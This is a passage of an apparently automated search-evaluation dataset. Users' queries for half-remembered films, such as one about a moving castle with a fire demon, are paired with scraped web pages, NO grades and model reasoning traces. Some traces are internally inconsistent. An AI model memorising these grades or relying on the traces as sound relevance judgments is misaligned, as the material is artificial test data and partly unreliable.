                "text": "https://twitter.com/ralphbakshi/status/1672691267439067136/photo/1| created_at: Sat Jun 24 19:40:49 +0000 2023 | favorite_count: 1745 | quote_count: 14 | reply_count: 24 | retweet_count: 180 | is_quote_status: False | retweeted: False | lang: zxx @ralphbakshi Wizards was IMO your best work.| created_at: Sun Jun 25 06:13:50 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en @ralphbakshi 9 year old me seeing cartoon nips for the first time.| created_at: Sat Jun 24 19:44:30 +0000 2023 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en @ralphbakshi https://twitter.com/DchanZockt/status/1672703009405452290/photo/1| created_at: Sat Jun 24 20:27:29 +0000 2023 | favorite_count: 1 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: qme @ralphbakshi And as an incredibly-naive teenager in college back in 1980, I saw that and wondered if animation like that was legal.\n\nI still think that was your greatest work.| created_at: Sat Jun 24 21:05:13 +0000 2023 | favorite_count: 3 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en @ralphbakshi Wizards \ud83d\ude00| created_at: Sat Jun 24 21:50:38 +0000 2023 | favorite_count: 1 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en @ralphbakshi https://twitter.com/GGuyIncognito/status/1672730582818738179/photo/1| created_at: Sat Jun 24 22:17:03 +0000 2023 | favorite_count: 2 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: qme @ralphbakshi How about giving us one more great animated movie, Ralph?| created_at: Sat Jun 24 22:31:18 +0000 2023 | favorite_count: 2 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en @ralphbakshi I can't count on two hands the number o",
                "model_trace": "Query Decomposition:\n1. {animated movie with a big, weird house that could walk on chicken legs}: The document does not mention any such movie -> ([0], UNSATISFIED)\n2. {young girl who turned old and fell in love with a wizard}: The document does not mention any such character or plot -> ([0], UNSATISFIED)\n3. {title related to the moving house}: The document does not mention any title related to a moving house -> ([0], UNSATISFIED)\n4. {discussion on Twitter}: The document contains Twitter discussions, but they are about Ralph Bakshi's work, specifically the movie \"Wizards\" -> ([1], UNSATISFIED)\n\nAssessment: The document does not contain any information about the specific movie described in the query. It only discusses Ralph Bakshi's work, which is unrelated to the movie in question. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/Browntable_Ent/status/1672699213698793472",
                "published_date": "2023-06-24",
                "text": "https://twitter.com/Browntable_Ent/status/1672699213698793472\nNone\nSat Jun 24 20:12:24 +0000 2023\nBrowntable_Ent\nIf this movie has a distinct visual style, we won so hard| created_at: Sat Jun 24 20:12:24 +0000 2023 | favorite_count: 961 | quote_count: 0 | reply_count: 14 | retweet_count: 35 | is_quote_status: True | retweeted: False | lang: en",
                "model_trace": "Query Decomposition:\n1. {animated movie with a big, weird house that can walk on chicken legs}: The document does not provide any information about a movie with a house that walks on chicken legs -> ([0], UNSATISFIED)\n2. {young girl who turned old and fell in love with a wizard}: The document does not provide any information about a young girl who turns old and falls in love with a wizard -> ([0], UNSATISFIED)\n3. {title related to a moving house}: The document does not provide any information about a title related to a moving house -> ([0], UNSATISFIED)\n4. {discussion about the film on Twitter}: The document is a Twitter post but does not contain any discussion relevant to the described film -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any subcomponents relevant to identifying the animated movie described in the query. NO."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/catsuka/status/1537856036383645698",
                "published_date": "2022-06-17",
                "text": "New trailer of \"Unicorn Wars\" spanish/french animated movie by Alberto Vazquez (Birdboy, Decorado, Psiconautas). Produced by Autour de Minuit / Uniko / Abano / Schmuby. In french theaters on November 30.\nhttps://www.youtube.com/watch?v=G_I23TmiHMc https://twitter.com/catsuka/status/1537856036383645698/video/1| created_at: Fri Jun 17 17:53:45 +0000 2022 | favorite_count: 1557 | quote_count: 112 | reply_count: 19 | retweet_count: 427 | is_quote_status: False | retweeted: False | lang: en @catsuka On the one hand, it sucks that it\u2019s not coming to US Theaters.\n\nON THE OTHER HAND, it\u2019s probably for the best. The general public wouldn\u2019t appreciate it and soooooo many naive families would take their kids to see this.| created_at: Wed Sep 28 16:38:43 +0000 2022 | favorite_count: 19 | quote_count: 0 | reply_count: 1 | retweet_count: 1 | is_quote_status: False | retweeted: False | lang: en @JBrueheim Netflix is also planning a select theatrical run for this movie (in the U.S.).| created_at: Wed Sep 28 16:45:55 +0000 2022 | favorite_count: 19 | quote_count: 0 | reply_count: 1 | retweet_count: 1 | is_quote_status: False | retweeted: False | lang: en @catsuka Holy shit. It's like Platoon, Care bears, happy tree friends, and the last unicorn all rolled into one.| created_at: Wed Sep 28 22:20:59 +0000 2022 | favorite_count: 6 | quote_count: 0 | reply_count: 1 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en @kole_larson @catsuka \ud83d\ude0d| created_at: Thu Sep 29 01:42:51 +0000 2022 | favorite_count: 3 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: qme @catsuka Well this is pretty intense for a cute little teddy bears| created_at: Fri Jun 17 17:58:41 +0000 2022 | favorite_count: 10 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: False | lang: en @catsuka \ud83d\udda4| created_at: Fri Jun 17 18:01:23 +0000 2022 | favorite_count: 0 | quote_count: 0 | reply_count: 0 | retweet_count: 0 | is_quote_status: False | retweeted: Fals",
                "model_trace": "Query Decomposition:\n1. {animated movie with a big, weird house that can walk on chicken legs}: This document does not mention any animated movie with such a house -> ([0], UNSATISFIED)\n2. {young girl who turned old and fell in love with a wizard}: This document does not mention any such characters or plot -> ([0], UNSATISFIED)\n3. {title related to a moving house}: This document does not mention any movie with a title related to a moving house -> ([0], UNSATISFIED)\n4. {discussion on Twitter}: This document is a Twitter post discussing the movie \"Unicorn Wars\" -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponent is {discussion on Twitter}, which is satisfied. However, the other subcomponents that describe the specific animated movie the user is looking for are not addressed in this document. Therefore, the document does not help the user identify the movie they are trying to remember. NO."
            },
            {
                "grade": "NO",
                "title": "Review: The House with Chicken Legs",
                "url": "https://mancunion.com/2022/04/04/review-the-house-with-chicken-legs/",
                "published_date": null,
                "text": "Written by Roxanne Peron.   Adapted from the 2018 novel of the same name by Sophie Anderson (the author, not the other one),  this piece is a heart-warming coming of age story that reminded me of the fantastical YA literature of my own youth. The cast of 6 did an amazing job of taking us on an adventure full of various colorful characters and thrilling twists. We follow the life of Marinka, a twelve-year-old girl who dreams of having a normal life\u2026despite living in a house with chicken legs with her magical grandmother Baba Yaga, who has very different plans for her.  (Yes, it\u2019s not a figurative title; it\u2019s literally about a house with chicken legs.)  This story is based very loosely on the infamous character of Baba Yaga from Slavic folklore\u2014a wild witch of a woman who holds control over death and regeneration. However, if you are expecting to see her as she is typical represented\u2014a fearsome old crone who sucks on children\u2019s bones\u2014you\u2019re in for a surprise. In this adaptation, Baba Yaga is portrayed as a kind and caring grandmother who tries patiently to teach young Marinka what she needs to know in order to be able to take over the family business: guiding the dead back to the stars.\u00a0   The story focuses on the Yagas, guardians of the gate to \u201cthe other side\u201d who are tasked with helping the dead transition to the afterlife. The gates are found in their Yaga Houses, which have chicken legs and move around randomly and regularly. This makes for a lonely life for Marinka, who longs for the company of the living and to make a friend. She thinks this is impossible, until she meets a young boy named Ben, who also feels like an outsider. This relief is short-lived, however, as the house moves in the night and takes her and her Baba far away once more.   The play takes a strange twist in the second act. Possibly to make sure that the audience was still awake, possibly to add humour, possibly for the kids\u2026 The \u201cYaga Houses\u201d have the party, for which the actors don chicken legs and wear houses on their heads while dancing",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document is about a play adapted from a novel, not an animated movie -> ([1], UNSATISFIED)\n2. {big, weird house that could walk on chicken legs}: The document describes a house with chicken legs, which matches this subcomponent -> ([1], SATISFIED)\n3. {young girl who turned old and fell in love with a wizard}: The document describes a young girl named Marinka living with her grandmother Baba Yaga, but does not mention her turning old or falling in love with a wizard -> ([1], UNSATISFIED)\n4. {title had something to do with the moving house}: The document's title \"The House with Chicken Legs\" matches this subcomponent -> ([1], SATISFIED)\n5. {Twitter discussion}: The document does not contain information about Twitter discussions -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {big, weird house that could walk on chicken legs} and {title had something to do with the moving house}. Since the document does not mention an animated movie or the specific plot points about the girl turning old and falling in love with a wizard, it does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "Chicken Feet and Fiery Skulls: Tales of the Russian Witch ...",
                "url": "https://reactormag.com/chicken-feet-and-fiery-skulls-tales-of-the-russian-witch-baba-yaga/",
                "published_date": null,
                "text": "Despite her appearances in numerous folktales, Baba-Yaga is one of the few creatures of fairy tale that I first encountered strictly through paintings and images, rather than through text or animated cartoon. In part, this is because she was left out of my various collections of western fairy tales, especially since it was years before I encountered the Andrew Lang collections. The ones I had largely focused on English, French, German, Norwegian and Italian fairy tales, with the occasional Spanish or Arabic (or probably faked Arabic, in the case of Aladdin and Ali Baba and the Forty Thieves) story thrown in. She is, after all, from Russia, and although the occasional Russian or Slavic element crept into my collections, these appearances were rare.\nBut I did see the pictures: horrific images of a person more skeleton than person, really, reaching out with clawed hands towards terrified children; tiny bizarre houses resting on\u2014could those be bird feet? Chicken feet?\u2014hidden deep in the woods; fiercely ugly old women with long noses using skulls as lanterns.\nThey were powerful. They were mesmerizing.\nClearly, they had a story.\n(And may I just say, while I perfectly buy the theory that the \u201cchicken legs\u201d on Baba Yaga\u2019s house were inspired not by actual chickens, but by stilt houses whose stilts do, at a distance, look like bird legs\u2014birds that could, I guess, be chickens\u2014I prefer to think that Baba Yaga is just awesome enough to use actual chicken legs, not \u201cat a distance, these could be chicken legs,\u201d for her house. Especially since that explains just how her house can walk around.)\nBut it was years before I found any of the Baba Yaga stories, even though two of them are relatively well known in English: Vasilissa the Beautiful or Vasilissa the Fair, a Cinderella variant where Cinderella interrupts her social climbing to visit a haunted house, and The Death of Koshchei the Deathless, also known as Maria Morevna, with the titles slightly varying depending upon the translator.\nBoth tales were translated into English in",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document does not mention any animated movie -> ([0], UNSURE)\n2. {big, weird house that can walk on chicken legs}: The document mentions a house on chicken legs, but it is related to Baba Yaga folklore, not an animated movie -> ([1], UNSATISFIED)\n3. {young girl who turned old and fell in love with a wizard}: The document does not mention any young girl, aging, or a wizard -> ([0], UNSURE)\n4. {title related to moving house}: The document does not provide any information about a movie title related to a moving house -> ([0], UNSURE)\n5. {Twitter discussion}: The document does not mention Twitter or any discussion on social media -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {big, weird house that can walk on chicken legs}, which is UNSATISFIED. The document does not provide any information about an animated movie or Twitter discussions. NO."
            },
            {
                "grade": "NO",
                "title": "What WAS the Cartoon with THAT scene? |",
                "url": "https://cartoonresearch.com/index.php/what-was-the-cartoon-with-that-scene/",
                "published_date": null,
                "text": "I\u2019m sure you cartoony people are used to answering the question that starts like this: \u201cI heard you know a lot about cartoons. I saw this one cartoon as a child that\u2026.\u201d \nGenerally, I\u2019m guessing, if you\u2019re like me, it\u2019s usually something you\u2019ve seen a million times at this point and know pretty well. The next thing of course is that they want to SEE it again, so of course they\u2019ll ask you for a copy or to guide them on how to find it. Youtube has been a saving grace as a resource point for so many of these now. \nI\u2019d love to see YOUR list of what cartoons people ask you about (and that means you too, Jerry \u2013 who may get asked this more than anyone\u2026). The PD era of VHS and DVDs means another new generation will be on the hunt for old cartoons- and I don\u2019t mind at all!\nHere\u2019s my list:\n The Sunshine Makers (Van Beuren, 35). Of course. Why do so many people remember this little film so well? It must be the charm of the story, and the design of the animation. Make sure to tune into Turner Classic Movies on December 7th at Midnight (9pm Pacific Time)\u2026 they\u2019ll run this along with others, in great new HD transfers\u2026.\n Humpty Dumpty (Iwerks, 1935). I think this one is owed to the ending, or perhaps the Spooning in a Spoon song\u2026.\n Niagara Fools (Lantz 1956). People always remember this gag with the ranger going over the falls in a barrel. Funny enough, someone has made a tribute here, with JUST those scenes! \n Smile, Darn Ya, Smile (WB/ Harman/ Ising 1931): I think the cartoon people got the big kick hearing this song in Who Framed Roger Rabbit. I remember thinking back then that most people won\u2019t even think about the original cartoon. Perhaps Fred Ladd cared TOO much about it though.. here\u2019s an industrious person\u2019s side by side comparison!\nAnd the Hippo sound that was reversed- though not sure they\u2019ve managed an accurate version\u2026\nSo now, what are YOUR most asked?\n\t\t\t   \n\t\t\t\t\n  212 Comments  \n\t\t\n  \t\t\n\t\n\t\t  \t\n\t    \n  \t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\n\t ||||I||||              * Dedicated To Classic Cartoons: Past, Present & Futur",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document discusses various animated movies -> ([1], SATISFIED)\n2. {big, weird house that could walk on chicken legs}: The document does not mention this specific detail -> ([0], UNSURE)\n3. {young girl who turned old and fell in love with a wizard}: The document does not mention this specific detail -> ([0], UNSURE)\n4. {title related to moving house}: The document does not mention this specific detail -> ([0], UNSURE)\n5. {discussion on Twitter}: The document does not contain any information about discussions on Twitter -> ([0], UNSATISFIED)\n\nAssessment: The document only satisfies the subcomponent related to animated movies in general. It does not address the specific details of the movie or any discussions on Twitter. Therefore, it is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "1. I remember watching this animated movie as a kid where there was a young girl who gets turned into an old woman and ends up living in a big, weird moving castle with a fire demon as the main character. The castle walks around on chicken legs or something. I think there was a wizard love interest too. What is the name of that movie?",
        "grid_pos": [
            2,
            7
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. The movie being described is \"Howl's Moving Castle\".\n\n2. The TV show being described is likely \"Teen Titans\" or \"Young Justice\".\n\n3. A good documentary covering the history and cultural significance of samurai in Japan could be \"The Samurai\" by NHK.\n\n4. A video essay analyzing themes and symbolism in classic film noir movies could be \"The Subversive Genius of Double Indemnity\" by Lessons from the Screenplay.\n\n5. A good instructional cooking video for an authentic Thai curry dish could be \"Massaman Curry | Marion's Kitchen\" on YouTube."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "\"Aisha and Muhammad\" Movie Trailer",
                "url": "http://www.answeringmuslims.com/2014/06/aisha-and-muhammad-movie-trailer.html",
                "published_date": "2014-06-24",
                "text": "This would be a bit too graphic to post as a video, but as news, it needs to be addressed. A number of European activists have put together an animated film about Muhammad's relationship with Aisha. The film is being released in numerous languages (including English, French, German, Swedish, and Spanish). \nAny predictions concerning the international reaction? Will there be bloody riots, or peaceful protest? Will President Obama condemn the film, or will he defend freedom of speech? Will the producer Imran Firasat be arrested, or will he be challenged to debate the issue?\n\nHere's the trailer.",
                "model_trace": "Query Decomposition:\n1. {Animated movie}: The document mentions an animated film -> ([1], SATISFIED)\n2. {Young girl turned into an old woman}: The document does not mention this plot point -> ([0], UNSURE)\n3. {Living in a big, weird moving castle}: The document does not mention this plot point -> ([0], UNSURE)\n4. {Fire demon as the main character}: The document does not mention this plot point -> ([0], UNSURE)\n5. {Castle walks around on chicken legs}: The document does not mention this plot point -> ([0], UNSURE)\n6. {Wizard love interest}: The document does not mention this plot point -> ([0], UNSURE)\n\nAssessment: The only relevant subcomponent is {animated movie}, which is satisfied. However, the other specific plot points that are crucial to identifying the movie are not mentioned. Therefore, the document does not provide enough information to be helpful for identifying the movie described in the query. NO."
            },
            {
                "grade": "NO",
                "title": "The Last Fiction - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/The_Last_Fiction",
                "published_date": "2016-10-29",
                "text": "From Wikipedia, the free encyclopedia\n The Last Fiction film poster Persian \u0622\u062e\u0631\u06cc\u0646 \u062f\u0627\u0633\u062a\u0627\u0646 Directed by Ashkan Rahgozar Written by Ashkan Rahgozar Based on Shahnameh Produced by Ehsan Rasoulof Starring \n Parviz Parastoui \n Leila Hatami \n Hamed Behdad \n Baran Kosari \n Ashkan Khatibi \n Edited by Zhinus Pedram Music by Christophe Rezai [2] Productioncompany Hoorakhsh Studios Distributed by Namayesh Gostaran Release date \n June 12, 2018 (Annecy) [1] \n Running time 100 minutes Country Iran Language Persian &English \n The Last Fiction (Persian: \u0622\u062e\u0631\u06cc\u0646 \u062f\u0627\u0633\u062a\u0627\u0646, romanized: Akhar\u00edn D\u0101st\u0101n ) is an animated film adaptation of the story of \"Zahhak\", a page from the historical identity of Iranians and one of the central tales of Shahnameh by Ferdowsi. Ashkan Rahgozar is the director of The Last Fiction. [3] The main idea of the recounting of this tale is to lend a different perspective to the legends and heroes of ancient Iranians. Production started in 2010, and since then over 100 animators have worked on the film. [4] \n The Last Fiction became the first representative of Iranian animated cinema along with 344 eligible films in the competition section of the best film of the 92nd Academy Awards. [5] \n Shahram Nazeri has performed the music for the final credits of the film.\n\nSummary[edit]\nAt a time when the shadow of Ahriman fell over the lands, King Jamshid, together with an army of his allies and with the Divine Virtue to accompany him, faced the army of Ahriman. With the will of Yazdan, Jamshid beat the Ahriman's army. He sits on the throne and proud of his conquest he acclaims that his victory is that of God. He calls on his allies to conquer the lands of the Ahriman and to hunt them down. However, Yazdan forsakes him and thus takes away his glory. Alone, Jamshid falls prey to greed and an insatiable madness. He leaves his daughter Shahrzad and bids the Council of Ministers that Mardas, the ally of the southern lands, sit on his throne in his absence. The following day, Jamshid, together with an army of his finest soldiers, ",
                "model_trace": "Query Decomposition:\n1. {animated movie}: The document is about an animated movie -> ([1], SATISFIED)\n2. {young girl who gets turned into an old woman}: The document does not mention a young girl who gets turned into an old woman -> ([0], UNSURE)\n3. {living in a big, weird moving castle}: The document does not mention a big, weird moving castle -> ([0], UNSURE)\n4. {fire demon as the main character}: The document does not mention a fire demon as the main character -> ([0], UNSURE)\n5. {castle walks around on chicken legs}: The document does not mention a castle walking around on chicken legs -> ([0], UNSURE)\n6. {wizard love interest}: The document does not mention a wizard love interest -> ([0], UNSURE)\n\nAssessment: The only relevant subcomponent that can be evaluated is {animated movie}, which is satisfied. However, the document does not provide any information related to the other key aspects of the query, such as the young girl, the moving castle, the fire demon, or the wizard love interest. Therefore, the document is not helpful for identifying the specific movie the user is asking about. NO."
            },
            {
                "grade": "NO",
                "title": "Elephants Dream | Fantasy Animation Movie HD",
                "url": "https://www.youtube.com/watch?v=XFtg0WBD5Hc&",
                "published_date": "2011-01-09",
                "text": "Elephants Dream (Fantasy-Animationsfilm)\\r\n\\r\n\\\"Elephants Dream\\\" ist ein surrealer, computer-generierter Kurzfilm, der fast ausschlie\u00dflich mit Freier Software erstellt und unter einer freien Creative-Commons-Lizenz ver\u00f6ffentlicht wurde. Die Sprache des Filmes ist Englisch, es gibt allerdings Untertitel in \u00fcber 30 Sprachen.\\r\n\\r\n---\\r\nFOLLOW US ...\\r\n\u2022 Facebook: http://facebook.com/vipmagazin1\\r\n\u2022 Twitter: http://twitter.com/vipmagazin\\r\n\u2022 Webnews: http://webnews.de/mitglied/vipmagazin/news\\r\n\u2022 Kinomagazin: http://tinyurl.com/KinoMagazin\\r\n---\\r\n\\r\n\\\"Elephants Dream\\\" is the world's first open movie, made entirely with open source graphics software such as Blender, and with all production files freely available to use however you please, under a Creative Commons license. The short film was created by the Orange Open Movie Project studio in Amsterdam, bringing together a diverse team of artists and developers from all over the world.\\r\n\\r\n---\\r\nBitte ABONNIEREN nicht vergessen:\\r\n\u2022 http://www.youtube.com/vipmagazin\\r\n\u2022 http://www.youtube.com/kinofilme\\r\n\u2022 http://www.youtube.com/WissensMagazin\\r\n\u2022 http://www.youtube.com/MultimediaMagazin\\r\n\u2022 http://www.youtube.com/PlanetZukunft\\r\nDANKE! :)\\r\n---\\r\n\\r\n\\\"Elephants Dream\\\" is the story of two strange characters exploring a capricious and seemingly infinite machine. The elder, Proog, acts as a tour-guide and protector, happily showing off the sights and dangers of the machine to his initially curious but increasingly skeptical protege Emo. As their journey unfolds we discover signs that the machine is not all Proog thinks it is, and his guiding takes on a more desperate aspect.\\r\n\\r\n\\\"Elephants Dream\\\" is a story about communication and fiction, made purposefully open-ended as the world's first 3D animated \\\"Open movie\\\". The film itself is released under the Creative Commons license, along with the entirety of the production files used to make it (roughly 7 Gigabytes of data). The software used to make the movie is the free/open source animation suite Blender along wi",
                "model_trace": "Query Decomposition:\n1. {Animated movie}: The document is about an animated movie -> ([1], SATISFIED)\n2. {Young girl gets turned into an old woman}: The document does not mention this plot detail -> ([0], UNSURE)\n3. {Living in a big, weird moving castle}: The document does not mention this plot detail -> ([0], UNSURE)\n4. {Fire demon as the main character}: The document does not mention this plot detail -> ([0], UNSURE)\n5. {Castle walks around on chicken legs}: The document does not mention this plot detail -> ([0], UNSURE)\n6. {Wizard love interest}: The document does not mention this plot detail -> ([0], UNSURE)\n\nAssessment: The document is about an animated movie called \"Elephants Dream,\" but it does not match the specific plot details provided in the query. The relevant subcomponent {Animated movie} is satisfied, but the specific movie details are not addressed.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "8 Bizarre Children's Fantasy Films That Will Give You ...",
                "url": "https://terryibele.com/2016/05/29/i-still-have-nightmares-from-these-8-childrens-fantasy-films/",
                "published_date": null,
                "text": "I finally found it!\nI spent my whole life having nightmares of being abducted\u00a0by a gigantic floating beard, dead birds transforming into dead children, and\u00a0an old man shattering into dust.\nAll from a movie I watched when I was six years old.\n \nIf you know which movie I\u2019m talking about, screw off, because you weren\u2019t any help in my 5-year internet search to find it \u00a0\ud83d\ude21\nI just\u00a0came across this Yahoo answer\u00a0after searching for \u201cfloating beard movie\u201d.\nThe movie is called, Mio and the Land of Faraway\u00a0(Mio, min Mio in Swedish). It was filmed in 1987 and is based on a Swedish novel from the 50\u2019s.\nBesides\u00a0a floating beard, bird children, and pan-flute playing boys, it also features a super young Christian Bale as the hero\u2019s friend and Christopher Lee as an evil knight (I guess he was practising for Saruman).\nHere\u2019s how the movie starts out.\n   \n\u201cNow grab hold of my beard\u201d \u00a0-words that every mother should teach her children to run away from.\nThe floating beard then takes little Mio into a cross-dimensional portal where he\u2019s actually a prince and has to free a bunch of children slaves from an evil knight named Kato. How did they become slaves? Oh, you know, their hearts were ripped out and replaced with stones.\nNow that I think of it, what kind of knight enslaves children? They\u2019d make terrible\u00a0slaves.\n\u201cAttack my enemies, children!\u201d\n\u201cWe die easily .\u201d\n\u201cThen till my land and grow wheat!\u201d\n\u201cIt takes twelve of us to push a plow.\u201d\n\u201cBuild me a castle then!\u201d\n\u201cWe can\u2019t do math yet.\u201d \nDumb knight gets stabbed by a kid in the end, so I guess they\u2019re somewhat useful. He needed some dying anyway.\nIn celebration of putting my mind to rest by\u00a0rewatching this horribly nostalgic\u00a0movie, here are 6\u00a0other effed up movies that\u00a0still haunt me to this day.\n1\u00a0. The Dark Crystal\u00a0(1982)\n   \nThe Dark Crystal is one of those super rare fantasy worlds where no detail is overlooked, thanks Jim!\nThe creepiest scene that replays in my dreams is when the podling gets his\u00a0life essence sucked from his\u00a0face.\n \nEt, voila! Insta-slave!\nGosh, I don\u2019t know if I\u2019d ",
                "model_trace": "Query Decomposition:\n1. {Animated movie}: The document mentions several children's fantasy films, but it does not specify whether they are animated -> ([0], UNSURE)\n2. {Young girl who gets turned into an old woman}: The document does not mention this plot element -> ([0], UNSURE)\n3. {Living in a big, weird moving castle}: The document does not mention this plot element -> ([0], UNSURE)\n4. {Fire demon as the main character}: The document does not mention this plot element -> ([0], UNSURE)\n5. {Castle walks around on chicken legs}: The document does not mention this plot element -> ([0], UNSURE)\n6. {Wizard love interest}: The document does not mention this plot element -> ([0], UNSURE)\n7. {Name of the movie}: The document does not provide the name of a movie matching the query description -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents of the query, particularly the last one which is crucial. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Another help me remember this movie question",
                "url": "https://ask.metafilter.com/294000/Another-help-me-remember-this-movie-question",
                "published_date": null,
                "text": "Another help me remember this movie question\nMarch 31, 2016 7:02 PM \u00a0     Subscribe  \n It was the early 80s and I remember watching a fascinating kids adventure movie. But then I got scared from one scene and turned it off.  I've never been able to find the movie since or learn how it ended. The scene I remember is of one character running up the stairs of the magical castle/dungeon to escape something terrible and the stairs disappearing as he tried to outrun them. Other things I remember:    \n - It was an Arabian Nights type story with multiple sons/princes who were tasked with bringing special gifts back (perhaps to the father/ruler or to a princess). The sons were killed one by one, but I think the main character was the youngest.\n- I'm pretty sure his siblings perished before this scene. I'm pretty sure the character running up the stairs failed to make it out which is when I got scared. \n- I think it may have been done in the style of the Little Drummer Boy and Frosty the Snowman, but it's very possible it was a cartoon instead.\n- The stairs dissolved into sand. I seem to remember the colour scheme or even animated texture reminded me of sand.\n- It can't be more recent than 1986, because I watched it on TV in Canada before moving to another continent that year. It wasn't a VHS but on TV, though it could have absolutely been older. The only channels we had were non-cable (so TVO, CBC, etc.) \nI hope someone recognizes this!!! \n\t\n\t\n\t\n \n\t ||||I||||  We are rebuilding the site. || Trans & Nonbinary Members Survey || MeFi mod travelingthyme needs help\n      Ask MetaFilter\n      querying the hive mind\n      * Log In\n      * Sign Up\n      * MetaFilter\n      * AskMeFi\n      * FanFare\n      * Projects\n      * Music\n      * Jobs\n      * IRL\n      * MetaTalk\n      * More\n          + Best Of\n          + Podcast\n          + Chat\n          + Labs\n          + Mall\n      Search MetaFilter\u2026\n    Menu\n    * Home\n    * FAQ\n    * About\n    * Archives\n    * Tags\n    * Popular\n    * Random\n        Another help me remember this mov",
                "model_trace": "Query Decomposition:\n1. {Animated movie}: The document does not provide information about an animated movie -> ([0], UNSURE)\n2. {Young girl turned into an old woman}: The document does not mention this plot element -> ([0], UNSURE)\n3. {Living in a big, weird moving castle}: The document mentions a magical castle/dungeon, but not a moving castle -> ([2], UNSURE)\n4. {Fire demon as the main character}: The document does not mention a fire demon -> ([0], UNSURE)\n5. {Castle walks around on chicken legs}: The document does not mention this detail -> ([0], UNSURE)\n6. {Wizard love interest}: The document does not mention a wizard love interest -> ([0], UNSURE)\n7. {Name of the movie}: The document is about someone asking for help remembering a different movie -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the subcomponents clearly. It is about a different movie and does not provide relevant information for the query. NO."
            },
            {
                "grade": "NO",
                "title": "What is your review of Howl's Moving Castle (creative ...",
                "url": "https://www.quora.com/What-is-your-review-of-Howls-Moving-Castle-creative-franchise",
                "published_date": null,
                "text": "You\u2019ve done what you can to cut back your spending.   You brew coffee at home, you don\u2019t walk into Target and you refuse to order avocado toast. (Can you sense my millennial sarcasm there?)   But no matter how cognizant you are of your spending habits, you\u2019re still stuck with those inescapable monthly bills. You know which ones we\u2019re talking about: rent, utilities, cell phone bill, insurance, groceries\u2026   So if you\u2019re ready to stop paying them, follow these moves\u2026   1. Overpriced Insurance: Cancel Your Car Insurance   You might not even realize it, but your car insurance company is probably overcharging you. In fact, they\u2019re kind of counting on you not noticing. Luckily, this problem is easy to fix.   Don\u2019t waste your time browsing insurance sites for a better deal. A company called  Insurify  shows you all your options at once \u2014 people who do this save up to $996 per year.   If you tell them a bit about yourself and your vehicle, they\u2019ll send you personalized quotes so you can compare them and find the best one for you.   Tired of overpaying for car insurance? It takes just five minutes to compare your options with Insurify and   see how much you could save on car insurance.   2. Online Shopping: If You Don\u2019t Use This Free Tool, You\u2019re Overpaying on Amazon   Wouldn\u2019t it be nice if you got an alert when you\u2019re shopping online at Amazon and are about to overpay?   That\u2019s exactly what   this free service  does.   Just add it to your browser for free, and before you check out, it\u2019ll check other websites to see if your item is available for cheaper. Let\u2019s say you\u2019re shopping for a new smart vacuum, and you assume you\u2019ve found the best price. Here\u2019s when you\u2019ll get a pop up letting you know if that exact vacuum is available elsewhere for cheaper. If there are any available coupon codes, they\u2019ll also automatically be applied to your order.   In the last year, this has saved people $800 million.   You can get started in just a few clicks to   see if you\u2019re overpaying online .   3. Internet: Get One Month of Free High-Sp",
                "model_trace": "Query Decomposition:\n1. {Animated movie}: The query is asking about an animated movie -> ([1], UNSURE)\n2. {Young girl turned into an old woman}: The query describes a plot where a young girl is turned into an old woman -> ([1], UNSURE)\n3. {Living in a moving castle}: The query mentions a character living in a big, weird moving castle -> ([1], UNSURE)\n4. {Fire demon as the main character}: The query mentions a fire demon as a main character -> ([1], UNSURE)\n5. {Castle walks on chicken legs}: The query describes the castle walking on chicken legs or something similar -> ([1], UNSURE)\n6. {Wizard love interest}: The query mentions a wizard love interest -> ([1], UNSURE)\n7. {Name of the movie}: The query is asking for the name of the movie -> ([1], UNSURE)\n\nAssessment: The document provided does not contain any relevant information about the movie described in the query. It instead contains content unrelated to movies or animation, focusing on financial advice and services. Therefore, the document does not satisfy any of the relevant subcomponents.\n\nNO."
            }
        ]
    },
    {
        "query": "2. I'm trying to find a TV show that follows a group of teenagers/young adults who all have special powers or abilities and form a team to fight crime and protect their city. I think it had a comic book/superhero vibe to it. Does this ring a bell and can you tell me the name of the show?",
        "grid_pos": [
            2,
            7
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
